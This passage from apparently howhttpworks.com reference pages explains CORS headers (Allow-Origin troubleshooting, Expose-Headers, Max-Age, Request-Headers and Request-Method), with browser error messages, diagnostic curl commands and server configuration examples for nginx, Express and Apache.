not allow `null`: sandboxed iframes and `file://` pages send it. ## Exact error messages Chrome: ```text Access to fetch at 'https://api.example.com/data' from origin 'https://app.example.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. ``` ```text The 'Access-Control-Allow-Origin' header has a value 'https://other.example.com' that is not equal to the supplied origin. ``` ```text The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. ``` Firefox: ```text Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at https://api.example.com/data. (Reason: CORS header 'Access-Control-Allow-Origin' missing). Status code: 200. ``` ```text (Reason: Credential is not supported if the CORS header 'Access-Control-Allow-Origin' is '*'). ``` ```text (Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed). ``` The last one means two layers (for example the app and nginx) both added the header; remove one. ## Diagnose 1. Check the actual response, not the browser summary. Replay with the same `Origin`: ```bash curl -si https://api.example.com/data -H 'Origin: https://app.example.com' | grep -iE '^(HTTP|access-control|vary)' ``` 2. If the request has a custom header, JSON `Content-Type`, or a method other than GET, HEAD or POST, the browser sends a preflight first. Test that too; it must return 2xx with the headers: ```bash curl -si -X OPTIONS https://api.example.com/data \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: content-type,authorization' | head -20 ``` 3. Find who answers. A `Server: cloudflare` plus `CF-Ray`, or a `Via` or `X-Amz-Cf-Id` header, means a CDN or gateway may be answering, caching or stripping. An error page from the proxy (502, 413, 429) never carries your CORS headers, so the console shows a CORS error that is really a 5xx. 4. Confirm the error responses also carry the header. Many apps add it only in the success path. See the [CORS debug page](https://howhttpworks.com/debug/cors-error) and [preflight page](https://howhttpworks.com/debug/cors-preflight). ## Fix by stack **nginx.** `always` is needed or the header is dropped on 4xx and 5xx responses. Handle `OPTIONS` yourself, and use a `map` for the allowlist: ```nginx map $http_origin $cors_origin { default ""; "https://app.example.com" $http_origin; "https://admin.example.com" $http_origin; } server { location /api/ { add_header Access-Control-Allow-Origin $cors_origin always; add_header Vary Origin always; add_header Access-Control-Allow-Credentials true always; if ($request_method = OPTIONS) { add_header Access-Control-Allow-Origin $cors_origin always; add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; add_header Access-Control-Allow-Headers "Content-Type, Authorization" always; add_header Access-Control-Max-Age 600 always; add_header Vary Origin always; return 204; } proxy_pass http://app; } } ``` `add_header` in a block replaces the parent's, which is why the preflight block repeats them. If the upstream also sets the header you get the duplicate error above; use `proxy_hide_header Access-Control-Allow-Origin;` first. **Cloudflare Workers.** Add headers to the response you return, and answer `OPTIONS` before fetching origin. **AWS.** API Gateway REST APIs need CORS headers on both the OPTIONS mock integration and the Lambda response (proxy integration does not add them). S3 buckets use a CORS configuration with `AllowedOrigins`. CloudFront must forward `Origin` to the origin (an origin request policy such as the managed `CORS-S3Origin`) and the cache policy must include `Origin` in the cache key, or a response cached for one origin is served to another. **Express, Next.js, Django** examples are in the code samples above. ## Vary: Origin If you return a different `Access-Control-Allow-Origin` per request, add `Vary: Origin`. Without it, a shared cache or the browser's own cache can store the response generated for origin A and serve it to origin B, whose browser then fails with "is not equal to the supplied origin". It also explains CORS errors that appear only after a refresh or on the second visit. See [Vary](https://howhttpworks.com/headers/vary). ## Credentials and wildcards With `credentials: 'include'`, cookies and `Authorization` are only sent and honoured if the response has an exact origin plus `Access-Control-Allow-Credentials: true`. Wildcards are treated literally in `Access-Control-Allow-Headers`, `Access-Control-Allow-Methods` and `Access-Control-Expose-Headers` for credentialed requests. Never reflect an arbitrary `Origin` with credentials enabled; that lets any site act as the logged-in user. Cookie-based credentials additionally depend on [SameSite](https://howhttpworks.com/cookies/same-site) being `None; Secure` for cross-site calls. ## Related - [Access-Control-Allow-Credentials](https://howhttpworks.com/headers/access-control-allow-credentials), [Allow-Methods](https://howhttpworks.com/headers/access-control-allow-methods), [Allow-Headers](https://howhttpworks.com/headers/access-control-allow-headers), [Max-Age](https://howhttpworks.com/headers/access-control-max-age), [Origin](https://howhttpworks.com/headers/origin) - [CORS guide](https://howhttpworks.com/guides/cors), [CORS vs CSP](https://howhttpworks.com/compare/cors-vs-csp) and the [CORS debugger](https://howhttpworks.com/tools/cors-debugger) --- # Access-Control-Expose-Headers: Read Headers in fetch() > Fix response.headers.get() returning null on cross-origin fetch. Access-Control-Expose-Headers, safelisted headers, and why * fails with credentials. Source: https://howhttpworks.com/headers/access-control-expose-headers Last reviewed: 2026-10-04 > **TL;DR:** A cross-origin `fetch()` can read only seven response headers by default. To read anything else (`Content-Disposition`, `ETag`, `Location`, a custom `X-Request-Id`), the server must list it in `Access-Control-Expose-Headers` on the actual response. `*` works only for requests without credentials. ## The symptom ```javascript const res = await fetch('https://api.example.com/export', { mode: 'cors' }) console.log(res.headers.get('Content-Disposition')) // null console.log(res.headers.get('X-Request-Id')) // null console.log([...res.headers.keys()]) // ['cache-control', 'content-length', 'content-type'] ``` There is no console error and nothing in the CORS handshake failed. The response arrived, DevTools shows `Content-Disposition` in the Network panel, and your code still gets `null`. The browser filters the response before JavaScript sees it. ## The fix ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://app.example.com Access-Control-Expose-Headers: Content-Disposition, X-Request-Id, ETag Content-Disposition: attachment; filename="export.csv" X-Request-Id: 4f2a91c0 ETag: "v17" Vary: Origin ``` Syntax: a comma-separated list of header names, case-insensitive, or `*`. It must be on the response to the real request. Putting it only on the `OPTIONS` preflight response does nothing, because the browser reads it from the response whose headers the page will see. ## What is already readable The Fetch Standard calls these CORS-safelisted response-header names, and they need no listing: - `Cache-Control` - `Content-Language` - `Content-Length` - `Content-Type` - `Expires` - `Last-Modified` - `Pragma` Headers people most often discover are hidden: `Content-Disposition` (filename for downloads), `ETag`, `Location` on a `201` or a manually handled redirect, `Link` (pagination), `Retry-After`, `X-RateLimit-*`, `X-Total-Count`, trace IDs, and a refreshed token header. `Content-Length` is readable but often useless: with compression or chunked encoding it is absent or reflects encoded bytes. ## Wildcard and credentials ```http Access-Control-Expose-Headers: * ``` Works only for requests that do not include credentials. With `fetch(url, { credentials: 'include' })`, `XMLHttpRequest.withCredentials = true`, or HTTP authentication, the browser treats `*` as a literal header name. Nothing is exposed and again nothing errors. This matches how `Access-Control-Allow-Headers` and `Access-Control-Allow-Methods` handle `*`; see [Access-Control-Allow-Credentials](https://howhttpworks.com/headers/access-control-allow-credentials) and the [CORS guide](https://howhttpworks.com/guides/cors). So for any API your SPA calls with cookies, spell the headers out. `Set-Cookie` and `Set-Cookie2` can never be exposed, listed or not. ## Server configuration ### Express ```javascript import cors from 'cors' app.use( cors({ origin: 'https://app.example.com', credentials: true, exposedHeaders: ['Content-Disposition', 'X-Request-Id', 'ETag'] }) ) ``` Without the `cors` package: `res.set('Access-Control-Expose-Headers', 'Content-Disposition, X-Request-Id')`. ### nginx ```nginx location /api/ { add_header Access-Control-Expose-Headers "Content-Disposition, X-Request-Id, ETag" always; proxy_pass http://app; } ``` `always` is needed so the header is also present on 4xx and 5xx responses; otherwise an error response hides its request ID from your front end. If the location block already has other `add_header` lines or the CORS headers are set in the app, make sure only one layer sets `Access-Control-Expose-Headers`. Two layers each sending it produces two header lines that browsers combine, which is valid but hard to debug. ### Apache ```apache Header always set Access-Control-Expose-Headers "Content-Disposition, X-Request-Id, ETag" ``` ## Checklist when a header is still null 1. Is the request actually cross-origin? Same-origin needs nothing. 2. Is the header on the real response, not just the preflight? `curl -i -H 'Origin: https://app.example.com' https://api.example.com/export`. 3. Does the name match? Names are case-insensitive, but typos and underscores are not forgiven. 4. Are you sending credentials with `*`? List the names. 5. Is a CDN or gateway between you and the origin stripping or caching a response made without an `Origin` header? Set `Vary: Origin`. 6. Is the header one that is never exposed (`Set-Cookie`)? ## Related - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin), [Access-Control-Allow-Headers](https://howhttpworks.com/headers/access-control-allow-headers) (which controls *request* headers, not response headers) - [Access-Control-Allow-Credentials](https://howhttpworks.com/headers/access-control-allow-credentials) - [CORS guide](https://howhttpworks.com/guides/cors) --- # Access-Control-Max-Age Header > Learn how Access-Control-Max-Age specifies how long browsers can cache CORS preflight results. Reduce preflight requests and improve cross-origin performance. Source: https://howhttpworks.com/headers/access-control-max-age Last reviewed: 2026-10-04 > **TL;DR:** Specifies how long browsers can cache CORS preflight results (in seconds). Reduces preflight requests for better performance. ## What is Access-Control-Max-Age? The **Access-Control-Max-Age** header tells browsers how long (in seconds) they can cache the results of a CORS preflight request. This improves performance by reducing the number of preflight OPTIONS requests needed for cross-origin requests. Think of it like a "remember this permission for X seconds" instruction. Instead of asking for permission every time, the browser can remember the answer and skip the preflight check for subsequent requests. ## How Access-Control-Max-Age Works **First Request - Preflight:** ```http OPTIONS /api/users HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type ``` **Server Response - Cache for 1 hour:** ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 3600 ``` **Subsequent Requests - Skip Preflight:** ```http POST /api/users HTTP/1.1 Host: api.example.com Origin: https://app.example.com Content-Type: application/json {"name": "John"} ``` For the next hour, the browser skips the preflight and directly sends the POST request. ## Syntax ```http Access-Control-Max-Age: ``` The value is the number of seconds the preflight response can be cached. ```http # Cache for 5 minutes Access-Control-Max-Age: 300 # Cache for 1 hour Access-Control-Max-Age: 3600 # Cache for 24 hours Access-Control-Max-Age: 86400 # Don't cache (always preflight) Access-Control-Max-Age: 0 # Don't cache (header omitted) # (no Access-Control-Max-Age header) ``` ## Common Examples ### Short Cache Duration (5 minutes) ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 300 ``` Good for APIs where permissions might change frequently. ### Medium Cache Duration (1 hour) ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 3600 ``` Balanced approach for most applications. ### Long Cache Duration (24 hours) ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Content-Type, Authorization, X-API-Key Access-Control-Max-Age: 86400 ``` Good for stable APIs with consistent CORS policies. ### No Caching (Development) ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://localhost:3000 Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 0 ``` Useful during development when CORS configuration might change frequently. ## Real-World Scenarios ### Production API - Optimal Performance **Server configuration:** ```javascript // Node.js/Express app.options('/api/*', (req, res) => { res.setHeader('Access-Control-Allow-Origin', 'https://app.example.com') res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE') res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization') res.setHeader('Access-Control-Max-Age', '7200') // 2 hours res.sendStatus(204) }) ``` **Impact:** - First request: Preflight + actual request = 2 round trips - Next 2 hours: No preflight, just actual request = 1 round trip - Performance improvement: 50% reduction in requests ### Development Environment - No Caching ```javascript // Development configuration const isDevelopment = process.env.NODE_ENV === 'development' app.options('/api/*', (req, res) => { res.setHeader('Access-Control-Allow-Origin', req.headers.origin) res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS') res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization') res.setHeader('Access-Control-Max-Age', isDevelopment ? '0' : '3600') res.sendStatus(204) }) ``` ### High-Traffic API - Aggressive Caching ```javascript // High-traffic public API app.options('/api/public/*', (req, res) => { res.setHeader('Access-Control-Allow-Origin', '*') res.setHeader('Access-Control-Allow-Methods', 'GET, POST') res.setHeader('Access-Control-Allow-Headers', 'Content-Type') res.setHeader('Access-Control-Max-Age', '86400') // 24 hours res.sendStatus(204) }) ``` ### Dynamic CORS with Moderate Caching ```javascript app.options('/api/*', (req, res) => { const allowedOrigins = [ 'https://app.example.com', 'https://admin.example.com', 'https://mobile.example.com' ] const origin = req.headers.origin if (allowedOrigins.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin) res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE') res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization') res.setHeader('Access-Control-Max-Age', '1800') // 30 minutes res.sendStatus(204) } else { res.sendStatus(403) } }) ``` ## Browser Limitations Different browsers have different maximum cache times: - **Firefox**: capped at 24 hours (86400 seconds). - **Chrome/Chromium**: capped at 2 hours (7200 seconds) since Chrome 76; 10 minutes (600 seconds) before that. - **Safari (WebKit)**: capped at 10 minutes (600 seconds). - **Default** when the header is absent: 5 seconds, per the Fetch Standard. ```javascript // Effective in Chromium and Firefox; Safari caps at 600 regardless res.setHeader('Access-Control-Max-Age', '7200') // 2 hours ``` ## Performance Impact ### Without Caching (Max-Age: 0) ```text Request 1: OPTIONS + POST = 2 requests Request 2: OPTIONS + POST = 2 requests Request 3: OPTIONS + POST = 2 requests Total: 6 requests ``` ### With Caching (Max-Age: 3600) ```text Request 1 (0:00): OPTIONS + POST = 2 requests Request 2 (0:05): POST only = 1 request (cached) Request 3 (0:10): POST only = 1 request (cached) Request 4 (1:05): OPTIONS + POST = 2 requests (cache expired) Total: 5 requests (16% reduction) ``` ### High Frequency (100 requests/hour) ```text Without caching: 200 requests With Max-Age: 3600: 102 requests (49% reduction) With Max-Age: 7200: 101 requests (49.5% reduction) ``` ## Getting Access-Control-Max-Age right ### 1. Choose Appropriate Cache Duration ```javascript // ❌ Too short - unnecessary preflights res.setHeader('Access-Control-Max-Age', '30') // 30 seconds // ❌ Too long - can't quickly update CORS policy res.setHeader('Access-Control-Max-Age', '604800') // 7 days // ✅ Balanced - good performance, reasonable update window res.setHeader('Access-Control-Max-Age', '3600') // 1 hour ``` ### 2. Environment-Specific Configuration ```javascript const maxAge = { development: 0, // No cache - easy debugging staging: 1800, // 30 minutes - moderate cache production: 7200 // 2 hours - optimal performance } res.setHeader('Access-Control-Max-Age', maxAge[process.env.NODE_ENV]) ``` ### 3. Consider Your Update Frequency ```javascript // Stable API - long cache app.options('/api/v1/*', (req, res) => { res.setHeader('Access-Control-Max-Age', '86400') // 24 hours // ... other headers res.sendStatus(204) }) // Experimental API - short cache app.options('/api/beta/*', (req, res) => { res.setHeader('Access-Control-Max-Age', '300') // 5 minutes // ... other headers res.sendStatus(204) }) ``` ### 4. Complete Preflight Response ```javascript app.options('/api/*', (req, res) => { // All necessary CORS headers together res.setHeader('Access-Control-Allow-Origin', 'https://app.example.com') res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, PATCH') res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-Requested-With') res.setHeader('Access-Control-Max-Age', '3600') res.setHeader('Access-Control-Allow-Credentials', 'true') res.sendStatus(204) }) ``` ## Testing ### Check Preflight Caching ```bash # First request - should include preflight curl -X OPTIONS https://api.example.com/users \ -H "Origin: https://app.example.com" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type" \ -v # Look for: # Access-Control-Max-Age: 3600 ``` ### Verify Cache Duration ```javascript // Browser console fetch('https://api.example.com/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ name: 'Test' }) }) // Check Network tab: // First request: OPTIONS + POST // Subsequent requests: POST only (if within cache period) ``` ### Test Different Values ```bash # Test short cache curl -X OPTIONS https://api.example.com/users \ -H "Origin: https://app.example.com" \ -H "Access-Control-Request-Method: POST" \ -v | grep "Access-Control-Max-Age" # Expected: Access-Control-Max-Age: 3600 ``` ## Common Patterns ### Progressive Enhancement ```javascript // Start conservative, increase as stable const appAge = Date.now() - appStartTime const maxAge = appAge < 3600000 ? 300 : 3600 // 5 min → 1 hour res.setHeader('Access-Control-Max-Age', String(maxAge)) ``` ### Per-Endpoint Configuration ```javascript const corsConfig = { '/api/public': { maxAge: 86400 }, // 24 hours '/api/auth': { maxAge: 1800 }, // 30 minutes '/api/admin': { maxAge: 300 } // 5 minutes } app.options('/api/*', (req, res) => { const config = corsConfig[req.path] || { maxAge: 3600 } res.setHeader('Access-Control-Max-Age', String(config.maxAge)) // ... other headers res.sendStatus(204) }) ``` ## Related Headers - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin) - Allowed origins - [Access-Control-Allow-Methods](https://howhttpworks.com/headers/access-control-allow-methods) - Allowed HTTP methods - [Access-Control-Allow-Headers](https://howhttpworks.com/headers/access-control-allow-headers) - Allowed request headers - [Access-Control-Allow-Credentials](https://howhttpworks.com/headers/access-control-allow-credentials) - Credentials support - [Access-Control-Request-Method](https://howhttpworks.com/headers/access-control-request-method) - Preflight method request - [Access-Control-Request-Headers](https://howhttpworks.com/headers/access-control-request-headers) - Preflight headers request --- # Access-Control-Request-Headers Header > Learn how Access-Control-Request-Headers tells servers which custom headers will be used in CORS requests. Essential for preflight request handling. Source: https://howhttpworks.com/headers/access-control-request-headers Last reviewed: 2026-10-04 > **TL;DR:** Sent in CORS preflight requests to ask permission for specific headers. Server must allow these headers for the actual request to proceed. ## What is Access-Control-Request-Headers? The **Access-Control-Request-Headers** header is sent by browsers during a CORS preflight request to inform the server which HTTP headers the actual request will include. It's like asking permission: "I want to send these custom headers - is that okay?" This header only appears in OPTIONS preflight requests, not in the actual cross-origin requests themselves. ## How Access-Control-Request-Headers Works **Browser sends preflight request:** ```http OPTIONS /api/users HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type, Authorization, X-Custom-Header ``` **Server responds with allowed headers:** ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Content-Type, Authorization, X-Custom-Header Access-Control-Max-Age: 3600 ``` **Browser then sends the actual request:** ```http POST /api/users HTTP/1.1 Host: api.example.com Origin: https://app.example.com Content-Type: application/json Authorization: Bearer eyJhbGc... X-Custom-Header: custom-value {"name": "John Doe"} ``` ## Syntax ```http Access-Control-Request-Headers: Access-Control-Request-Headers: , , ... ``` Multiple headers are comma-separated. ```http # Single header Access-Control-Request-Headers: Content-Type # Multiple headers Access-Control-Request-Headers: Content-Type, Authorization # Many headers Access-Control-Request-Headers: Content-Type, Authorization, X-API-Key, X-Request-ID ``` ## When Preflight is Triggered Browsers automatically send preflight requests when you use non-simple headers. Simple headers (that don't trigger preflight) include: - `Accept` - `Accept-Language` - `Content-Language` - `Content-Type` (only for: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`) Any other headers trigger a preflight. ## Common Examples ### API with Authentication ```http OPTIONS /api/users HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: GET Access-Control-Request-Headers: Authorization ``` ### JSON API with Custom Headers ```http OPTIONS /api/data HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type, X-Request-ID ``` ### Multiple Authentication Methods ```http OPTIONS /api/secure HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Authorization, X-API-Key, Content-Type ``` ### GraphQL Request ```http OPTIONS /graphql HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type, X-Request-ID, X-Client-Version ``` ## Real-World Scenarios ### React Application with JWT Authentication **Client code:** ```javascript // This triggers a preflight because of Authorization header fetch('https://api.example.com/users', { method: 'GET', headers: { Authorization: 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', 'Content-Type': 'application/json' } }) ``` **Automatic preflight request:** ```http OPTIONS /users HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: GET Access-Control-Request-Headers: Authorization, Content-Type ``` **Server must respond:** ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Max-Age: 3600 ``` ### API with Request Tracking **Client code:** ```javascript fetch('https://api.example.com/events', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-Request-ID': 'abc-123', 'X-User-ID': 'user-456', 'X-Client-Version': '2.1.0' }, body: JSON.stringify({ event: 'page_view' }) }) ``` **Preflight request:** ```http OPTIONS /events HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type, X-Request-ID, X-User-ID, X-Client-Version ``` **Server response:** ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: Content-Type, X-Request-ID, X-User-ID, X-Client-Version Access-Control-Max-Age: 7200 ``` ### Microservices with Service Mesh Headers **Preflight request:** ```http OPTIONS /api/orders HTTP/1.1 Host: orders.example.com Origin: https://shop.example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type, Authorization, X-Trace-ID, X-Span-ID, X-User-Context ``` **Server configuration:** ```javascript // Node.js/Express app.options('/api/*', (req, res) => { const allowedHeaders = [ 'Content-Type', 'Authorization', 'X-Trace-ID', 'X-Span-ID', 'X-User-Context', 'X-Request-ID' ] res.setHeader('Access-Control-Allow-Origin', 'https://shop.example.com') res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE') res.setHeader('Access-Control-Allow-Headers', allowedHeaders.join(', ')) res.setHeader('Access-Control-Max-Age', '3600') res.sendStatus(204) }) ``` ## Server-Side Handling ### Express.js Middleware ```javascript const cors = require('cors') app.use( cors({ origin: 'https://app.example.com', methods: ['GET', 'POST', 'PUT', 'DELETE'], allowedHeaders: ['Content-Type', 'Authorization', 'X-API-Key'], maxAge: 3600 }) ) ``` ### Manual Implementation ```javascript app.options('/api/*', (req, res) => { const requestedHeaders = req.headers['access-control-request-headers'] const allowedHeaders = ['Content-Type', 'Authorization', 'X-API-Key', 'X-Request-ID'] // Validate requested headers if (requestedHeaders) { const requested = requestedHeaders.split(',').map((h) => h.trim()) const allAllowed = requested.every( (h) => allowedHeaders.includes(h) || allowedHeaders.includes(h.toLowerCase()) ) if (allAllowed) { res.setHeader('Access-Control-Allow-Headers', requestedHeaders) } else { // Only allow the intersection const intersection = requested.filter((h) => allowedHeaders.includes(h)) res.setHeader('Access-Control-Allow-Headers', intersection.join(', ')) } } res.setHeader('Access-Control-Allow-Origin', 'https://app.example.com') res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE') res.setHeader('Access-Control-Max-Age', '3600') res.sendStatus(204) }) ``` ### Dynamic Header Validation ```javascript app.options('/api/*', (req, res) => { const requestedHeaders = req.headers['access-control-request-headers'] // Base headers always allowed const baseHeaders = ['Content-Type', 'Accept'] // Conditional headers based on endpoint const conditionalHeaders = [] if (req.path.startsWith('/api/auth')) { conditionalHeaders.push('Authorization') } if (req.path.startsWith('/api/tracking')) { conditionalHeaders.push('X-Request-ID', 'X-User-ID') } const allowedHeaders = [...baseHeaders, ...conditionalHeaders] res.setHeader('Access-Control-Allow-Origin', req.headers.origin) res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE') res.setHeader('Access-Control-Allow-Headers', allowedHeaders.join(', ')) res.setHeader('Access-Control-Max-Age', '3600') res.sendStatus(204) }) ``` ## Getting Access-Control-Request-Headers right ### 1. Specify Exact Headers Needed ```javascript // ❌ Too permissive res.setHeader('Access-Control-Allow-Headers', '*') // ✅ Specific headers only res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization') ``` ### 2. Echo Requested Headers (With Validation) ```javascript // ✅ Validate and echo const requestedHeaders = req.headers['access-control-request-headers'] const allowedHeaders = ['Content-Type', 'Authorization', 'X-API-Key'] if (requestedHeaders) { const requested = requestedHeaders.split(',').map((h) => h.trim().toLowerCase()) const allowed = allowedHeaders.map((h) => h.toLowerCase()) const validated = requested.filter((h) => allowed.includes(h)) if (validated.length > 0) { res.setHeader('Access-Control-Allow-Headers', validated.join(', ')) } } ``` ### 3. Document Required Headers ```javascript // API documentation /** * POST /api/users * * Required Headers: * - Content-Type: application/json * - Authorization: Bearer * * Optional Headers: * - X-Request-ID: Request tracking ID * - X-Client-Version: Client version number */ app.post('/api/users', authenticateToken, (req, res) => { // Handler }) ``` ### 4. Consistent Header Naming ```javascript // ✅ Consistent custom header prefix const customHeaders = ['X-Request-ID', 'X-Client-Version', 'X-User-Context', 'X-Trace-ID'] // ❌ Inconsistent naming const badHeaders = [ 'RequestID', // Missing prefix 'X-client-version', // Inconsistent casing 'user_context', // Different format 'trace-id' // Missing prefix ] ``` ## Common Errors and Solutions ### Error: Header Not Allowed ```text Access to fetch at 'https://api.example.com' from origin 'https://app.example.com' has been blocked by CORS policy: Request header field X-Custom-Header is not allowed by Access-Control-Allow-Headers in preflight response. ``` **Solution:** ```javascript // Add the missing header to Access-Control-Allow-Headers res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-Custom-Header') ``` ### Error: Case Sensitivity ```javascript // ❌ Case mismatch can cause issues Client sends: Access-Control-Request-Headers: content-type, authorization Server allows: Access-Control-Allow-Headers: Content-Type, Authorization // ✅ Normalize case const normalizeHeaders = (headers) => headers.toLowerCase() ``` ## Testing ### Using curl ```bash # Test preflight with custom headers curl -X OPTIONS https://api.example.com/users \ -H "Origin: https://app.example.com" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type, Authorization, X-API-Key" \ -v # Look for response header: # Access-Control-Allow-Headers: Content-Type, Authorization, X-API-Key ``` ### Using JavaScript ```javascript // Browser automatically sends Access-Control-Request-Headers fetch('https://api.example.com/users', { method: 'POST', headers: { 'Content-Type': 'application/json', Authorization: 'Bearer token', 'X-API-Key': 'key123' }, body: JSON.stringify({ name: 'Test' }) }) // Check Network tab for OPTIONS request // Should see: Access-Control-Request-Headers: content-type, authorization, x-api-key ``` ## Preflight Caching and Performance Every preflight request adds a round trip before the actual request, which can significantly impact performance for APIs that are called frequently. The `Access-Control-Max-Age` response header tells browsers how long to cache the preflight result, avoiding repeated OPTIONS requests for the same origin, method, and headers combination. Set `Access-Control-Max-Age` to a high value (86400 seconds = 24 hours) for stable APIs where the allowed headers and methods rarely change. Browsers cap this value at their own maximum (86400 seconds in Firefox, 7200 in Chromium, 600 in Safari), so setting it higher than the browser maximum has no additional effect. For APIs under active development where you frequently add new allowed headers, a shorter cache time (300-600 seconds) reduces the risk of clients caching stale preflight results. ## Related Headers - [Access-Control-Allow-Headers](https://howhttpworks.com/headers/access-control-allow-headers) - Server response with allowed headers - [Access-Control-Request-Method](https://howhttpworks.com/headers/access-control-request-method) - Preflight method request - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin) - Allowed origins - [Access-Control-Allow-Methods](https://howhttpworks.com/headers/access-control-allow-methods) - Allowed HTTP methods - [Access-Control-Max-Age](https://howhttpworks.com/headers/access-control-max-age) - Preflight cache duration - [Origin](https://howhttpworks.com/headers/origin) - Request origin --- # Access-Control-Request-Method Header > Learn how Access-Control-Request-Method tells servers which HTTP method will be used in the actual CORS request. Essential for preflight request handling. Source: https://howhttpworks.com/headers/access-control-request-method Last reviewed: 2026-10-05 > **TL;DR:** It's the browser asking, during a CORS preflight, "may I send a DELETE (or PATCH, or PUT) here?" The preflight itself is an OPTIONS request, and the server answers with `Access-Control-Allow-Methods`. The browser adds this header on its own; your JavaScript can't set it. ## What is Access-Control-Request-Method? Before a cross-origin request that isn't "simple", the browser sends an OPTIONS preflight. This header names the one method the real request will use, and the server replies with [Access-Control-Allow-Methods](https://howhttpworks.com/headers/access-control-allow-methods). It only appears on the preflight. It isn't a method override, and the actual DELETE, PUT, or POST doesn't carry it. [MDN lists it as a forbidden request header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Request-Method), which is why page scripts can't set it. ## How Access-Control-Request-Method Works A preflight and its response, trimmed to the relevant headers (all examples on this page are trimmed): ```http OPTIONS /api/users/123 HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: authorization ``` ```http HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, DELETE Access-Control-Allow-Headers: Authorization ``` The browser can now send the DELETE with an Authorization header, as long as the rest of the CORS checks pass. The preflight goes to the exact URL of the real request, so permission granted for `/api/users` says nothing about `/api/users/123`. ## Syntax ```http Access-Control-Request-Method: PATCH ``` It holds exactly one method, never a comma-separated list. Method names are case-sensitive, so stick to the usual uppercase names on both sides. ## When Preflight is Triggered GET, HEAD, and POST are the CORS-safelisted methods. Anything else, including PUT, PATCH, DELETE, and a real OPTIONS request, gets a preflight. Safelisted methods need one too when the request carries non-safelisted headers, and a JSON POST is the case everyone hits. CONNECT, TRACE, and TRACK aren't preflighted at all; Fetch refuses to send them. See [Fetch's method definitions](https://fetch.spec.whatwg.org/#methods). | Browser operation | Intended method in preflight | Reason | | --- | --- | --- | | JSON POST | `POST` | `application/json` Content-Type | | GET with bearer token | `GET` | Authorization header | | DELETE without custom headers | `DELETE` | Method is not safelisted | | Plain GET without custom headers | No preflight needed on these grounds | Safelisted method and headers | Other details of the request can trigger a preflight too. When 